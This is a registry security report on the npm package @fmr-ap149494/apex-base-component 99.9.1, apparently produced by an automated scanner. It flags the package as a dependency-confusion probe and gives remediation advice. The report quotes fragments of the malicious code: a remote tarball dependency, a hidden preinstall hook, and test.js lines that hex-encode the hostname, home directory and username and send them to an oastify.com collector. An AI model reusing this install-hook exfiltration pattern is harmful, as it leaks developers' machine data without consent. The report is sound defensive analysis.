registry / Install hook abuse / @fmr-ap149494/apex-base-component / 99.9.1

@fmr-ap149494/apex-base-component@99.9.1

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 4d ago · by lpm-firewall-ai

The dependency's automatic preinstall hook collects and transmits identifying machine data to an unrelated OAST collector without an effective consent guard. This is concrete installation-time data exfiltration.

Static reason

One or more suspicious static signals were detected.

Trigger

Installation of the ltidisafe dependency.

Impact

Machine and user identifiers are disclosed to the remote collector without installer consent.

Mechanism

The hook hex-encodes the hostname, home directory, and username, then sends requests containing each value in the subdomain.

Attack narrative

Installing the package installs ltidisafe, whose preinstall hook runs a script that hex-encodes the machine hostname, home directory, and username. The script sends requests carrying those values in subdomains of an OAST collector, disclosing identifiers automatically during installation.

AI rationale

Evidence

package.json.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/package.json.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/test.js.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/index.js

Network endpoints1

fmr-ap149494.fbugneaoqer9m06acconzzkeu50yoocd.oastify.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json installs the ltidisafe tarball as a dependency.
ltidisafe runs test.js automatically from its preinstall hook.
test.js sends requests to a subdomain of fmr-ap149494.fbugneaoqer9m06acconzzkeu50yoocd.oastify.com.
test.js hex-encodes the machine hostname, home directory, and username.
The install script invokes the request function with all three encoded values.
index.js sends the request using protocol.get.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

7 flagged

package.jsonView file

Lines 1-15json

2 "name": "@fmr-ap149494/apex-base-component",

3 "version": "99.9.1",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg · L6

7 "test": "echo \"Error: no test specified\" && exit 1"

8 },

9 "dependencies": {

10 "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.9.tgz"

High

Suspicious Dependency Evidence

package.json installs the ltidisafe tarball as a dependency.

package.jsonView on unpkg · L9

11 },

12 "author": "",

13 "license": "ISC"

14}

.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/package.jsonView file

6"scripts": { "preinstall": "node test.js > /dev/null 2>&1", "test": "echo \"Error: no

High

Suspicious Lifecycle Evidence

ltidisafe runs test.js automatically from its preinstall hook.

.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/package.jsonView on unpkg · L6

.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/test.jsView file

6async function getNetworkDownloadSpeedData(data) { const baseUrl = 'http://'+data+'.fmr-ap149494.[redacted].oastify.com'; const fileSizeInBytes = 500000; const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes); console.log(`Download Speed: ${JSON.stringify(speed)}`); } const os = require('os'

High

Ai Review Evidence

test.js sends requests to a subdomain of fmr-ap149494.fbugneaoqer9m06acconzzkeu50yoocd.oastify.com.

.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/test.jsView on unpkg · L6

25function stringToHex(str) { const buf = Buffer.from(str, 'utf8'); return buf.toString('hex'); } const hn = stringToHex(os.hostname()); const hd = stringToHex(os.homedir()); const un = stringToHex(os.userInfo().username); // const u

High

Ai Review Evidence

test.js hex-encodes the machine hostname, home directory, and username.

.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/test.jsView on unpkg · L25

31const hn = stringToHex(os.hostname()); const hd = stringToHex(os.homedir()); const un = stringToHex(os.userInfo().username); // const ut = os.uptime().toString(16); var localip=getIp('IPv4'); getNetworkDownloadSpeedData(un); getNetworkDownloadSpeedData(hn); getNetworkDownloadSpeedData(hd); // getNetworkDownloadSpeedData(ut);

.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/index.jsView file

54let protocol = this._protocol(baseUrl) return new Promise((resolve, _) => { return protocol.get(baseUrl, response => {

High

Ai Review Evidence

index.js sends the request using protocol.get.

.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/index.jsView on unpkg · L54

Source & flagged code

7 flagged · loading source

package.jsonView file

9"dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.9.tgz

High

Suspicious Dependency Evidence

package.json installs the ltidisafe tarball as a dependency.

package.jsonView on unpkg · L9

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.9.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/package.jsonView file

6"scripts": { "preinstall": "node test.js > /dev/null 2>&1", "test": "echo \"Error: no

Findings

6 High1 Medium1 Low

HighSuspicious Dependency Evidencepackage.json

HighSuspicious Lifecycle Evidence.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/package.json

HighAi Review Evidence.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/test.js

HighAi Review Evidence.lpm-dependency-evidence-ad8f201e-947b-4d5f-b796-4563616e8cbe/0/npm-linux/index.js

MediumRemote Tarball Dependencypackage.json

LowScripts Present

Affected versions and remediation

This report applies to @fmr-ap149494/apex-base-component@99.9.1.

See all versions of @fmr-ap149494/apex-base-component for other recorded verdicts.

Avoid installing @fmr-ap149494/apex-base-component@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-19 04:37:45.272Z (UTC).

Source advisory published: 2026-10-19 03:11:13.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other install hook abuse packages

Related packages

Other install hook abuse packages

Source & flagged code